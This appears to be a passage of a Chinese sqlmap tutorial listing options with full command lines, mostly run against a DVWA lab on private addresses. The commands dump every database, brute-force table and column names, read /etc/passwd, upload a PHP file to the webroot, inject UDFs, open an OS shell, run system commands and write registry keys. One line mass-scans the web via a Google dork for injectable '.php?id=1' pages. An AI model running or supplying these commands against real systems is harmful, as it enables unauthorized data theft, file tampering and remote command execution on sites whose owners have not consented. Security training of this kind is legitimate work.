--batch 不询问用户选择,全部使用默认选项
sqlmap.py -g "inurl:\".php?id=1\"" --proxy="http://127.0.0.1:25378" --batch 使用此条语句可以批量扫描注入点
--count 获取表中的数据个数,一些敏感数据不能读时可以使用此参数
root@kali:~# sqlmap -u "http://192.168.80.33/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=fiuptcba82h53qu2fqngtj9oj1" --count -D dvwa
--privileges 列出数据库管理员权限,-U指定用户(CU是当前用户)
root@kali:~# sqlmap -u "http://192.168.80.161/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=16da84d6c533f3e25354fcf87c1310b0" --privileges -U CU
--dump-all 获取所有数据库表的内容
--exclude-sysdbs 排除数据库自带的系统库
root@kali:~# sqlmap -u "http://192.168.80.33/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=fiuptcba82h53qu2fqngtj9oj1" --dump-all --exclude-sysdbs
dump数据后,sqlmap为每个表生成一个CSV文件。
--common-tables 暴力破解表名
以下3种情况,可以暴力破解表名:
Mysql<5.0,没有information_schema库
Mysql>=5.0,无权读取information_schema库
微软的access数据库,默认无权读取MSysObjects库
默认的字典文件 /usr/share/sqlmap/txt/common-tables.txt,可以手工指定
root@kali:~# sqlmap -u "http://192.168.80.33/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=fiuptcba82h53qu2fqngtj9oj1" --common-tables -D dvwa
--common-columns 暴力破解列名
默认的字典文件/usr/share/sqlmap/txt/common-columns.txt
root@kali:~# sqlmap -u "http://192.168.80.33/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=fiuptcba82h53qu2fqngtj9oj1" --common-columns -T users -D dvwa
--udf-inject 注入用户自定义函数
--shared-lib=SHLIB 共享库的本地路径
当我们需要在服务器上执行系统命令时,sqlmap默认会把DBMS内置的库文件经过编译后,上传到服务器上,在服务器上基于编译后的库文件进行自定义函数的编写,编写的自定义函数就是我们通常所说的UDF。利用UDF实现对目标服务器特殊功能的操作,例如执行系统命令等。
不同操作系统动态链接库不同。windows是dll、linux是shared object
MYSQL的版本不同udf导出的路径不同:
小于5.1版本:c:/windows
大于5.1版本:../lib/plugin
--file-read 从数据库服务器中读取文件
root@kali:~# sqlmap -u "http://192.168.80.161/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=16da84d6c533f3e25354fcf87c1310b0" --file-read="/etc/passwd"
读取后,保存到本机/root/.sqlmap/output/192.168.80.161/files/_etc_passwd
--file-write、--file-dest 把文件上传到数据库服务器中
sqlmap.py -u "http://192.168.80.33/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=4pq76dua60ghqc807869jrb9v2" --file-write="d:/dante.php" --file-dest="C:/phpStudy/WWW/dvwa/dante.php"
--sql-shell 执行数据库命令
--os-shell、--os-cmd 执行操作系统命令
Mysql和postgresql,sqlmap上传一个二进制库,并生成自定义函数sys_exec()、sys_eval(),也就是UDF。
Mssql,sqlmap调用xp_cmdshell存储过程,在SQL Server 2005及以上版本默认禁制xp_cmdshell,sqlmap会重新启用它,如果不存在,会自动创建。
root@kali:~# sqlmap -u "http://192.168.80.22/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=di9fbv68slla7sb0nncrm0v5m1" --os-cmd="ipconfig"
root@kali:~# sqlmap -u "http://192.168.80.22/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=di9fbv68slla7sb0nncrm0v5m1" --os-shell
--reg-read 读取注册表值
--reg-add 写入注册表值
--reg-del 删除注册表值
--reg-key,--reg-value,--reg-data,--reg-type 注册表辅助选项
sqlmap -u http://1.1.1.1/a.php?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1